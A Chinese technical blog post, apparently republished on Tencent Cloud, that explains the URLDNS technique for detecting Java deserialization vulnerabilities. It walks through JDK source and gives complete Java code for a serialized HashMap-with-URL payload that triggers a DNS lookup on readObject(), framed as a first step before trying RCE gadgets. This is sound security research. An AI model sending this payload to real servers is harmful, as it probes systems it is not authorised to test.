前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >通过 HashMap 触发 DNS 检测 Java 反序列化漏洞

通过 HashMap 触发 DNS 检测 Java 反序列化漏洞

作者头像
业余草
发布2020-11-12 11:22:19
1.1K0
发布2020-11-12 11:22:19
举报
文章被收录于专栏:业余草

通过 HashMap 触发 DNS 检测 Java 反序列化漏洞

我们常说的反序列化漏洞一般是指 readObject() 方法处触发的漏洞,而除此以外针对不同的序列化格式又会产生不同的出发点,比如说 fastjson 会自动运行 setter,getter 方法。之后又有各种 RMI,JNDI 姿势去执行命令。现在常见的黑盒检测 Java 反序列化方式就是执行命令 API,比如用一个 gadget 去执行 nslookup xxx 最终通过服务器记录去判断。

但这种方式可能出现的一种问题是,你选择测试的 gadget 服务器正好没这个 jar 包或者更新过了,但却有另一个存在漏洞的 jar 包。这时候单一的 gadget构造出的执行命令 payload 就会漏报。所以为了解决这种问题这里分享一个通过 HashMap 结合 URL 触发 DNS 检查的思路。在实际过程中可以首先通过这个去判断服务器是否使用了 readObject() 以及能否执行。之后再用各种 gadget 去尝试试 RCE。

HashMap readObject & URLStreamHandler hashCode

HashMap 最早出现在 JDK 1.2 中,底层基于散列算法实现。而正是因为在 HashMap 中,Entry 的存放位置是根据 Key 的 Hash 值来计算,然后存放到数组中的。所以对于同一个 Key,在不同的 JVM 实现中计算得出的 Hash 值可能是不同的。因此,HashMap 实现了自己的 writeObject 和 readObject 方法。

因为是研究反序列化问题,所以我们来看一下它的 readObject 方法。

前面主要是使用的一些防止数据不一致的方法,我们可以忽视。主要看 putVal 时候 key 进入了 hash 方法,跟进看。

代码语言:javascript
复制
static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

这里直接调用了 key 的 hashCode 方法。那么我们现在就需要一个类 hashCode 可以执行某些东西即可。

很幸运的我们发现了 URL 类,它有一个有趣的特点,就是当执行 hashCode 方法时会触发当前 URLStreamHandler 的 hashCode 方法。

代码语言:javascript
复制
public synchronized int hashCode() {
    if (hashCode != -1)
        return hashCode;

    hashCode = handler.hashCode(this);
    return hashCode;
}

我们可以继续跟进。

代码语言:javascript
复制
protected int hashCode(URL u) {
    int h = 0;

    // Generate the protocol part.
    String protocol = u.getProtocol();
    if (protocol != null)
        h += protocol.hashCode();

    // Generate the host part.
    InetAddress addr = getHostAddress(u);
    if (addr != null) {
        h += addr.hashCode();
    } else {
        String host = u.getHost();
        if (host != null)
            h += host.toLowerCase().hashCode();
    }

    // Generate the file part.
    String file = u.getFile();
    if (file != null)
        h += file.hashCode();

    // Generate the port part.
    if (u.getPort() == -1)
        h += getDefaultPort();
    else
        h += u.getPort();

    // Generate the ref part.
    String ref = u.getRef();
    if (ref != null)
        h += ref.hashCode();

    return h;
}

主要就是这句代码了。

代码语言:javascript
复制
InetAddress addr = getHostAddress(u);

很简单,就是这里最后触发了 DNS 查询。

也就是说我们现在思路是通过 hashmap 放入一个 URL 的 key 然后会触发 DNS 查询。这里需要注意一个点,就是在 URLStreamHandler 的 hashCode 方法中首先进行了一个缓存判断即如果不等于 -1 会直接 return。

代码语言:javascript
复制
if (hashCode != -1)
    return hashCode;

因为在生成 hashMap put 时候会调用到 hashCode 方法,所以会缓存下来,即 hashcode 不为 -1。所以为了让被接收者触发 DNS 查询,我们需要先通过反射把 hashcode 值改为 -1,绕过缓存判断。

代码语言:javascript
复制
Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u,-1);

最后生成的代码为:

代码语言:javascript
复制
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.obj"));
String url="https://www.xttblog.com";
HashMap hashMap = new HashMap(); // HashMap that will contain the URL
URL u = new URL(url); // URL to use as the Key
hashMap.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u,-1);
oos.writeObject(hashMap);
oos.flush();
oos.close();

测试代码:

代码语言:javascript
复制
ObjectInputStream ois=new ObjectInputStream(new FileInputStream("object.obj"));
ois.readObject();

调用栈:

最终你会发现成功的触发 DNS 查询。

参考:https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020/11/10 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
文件存储
文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档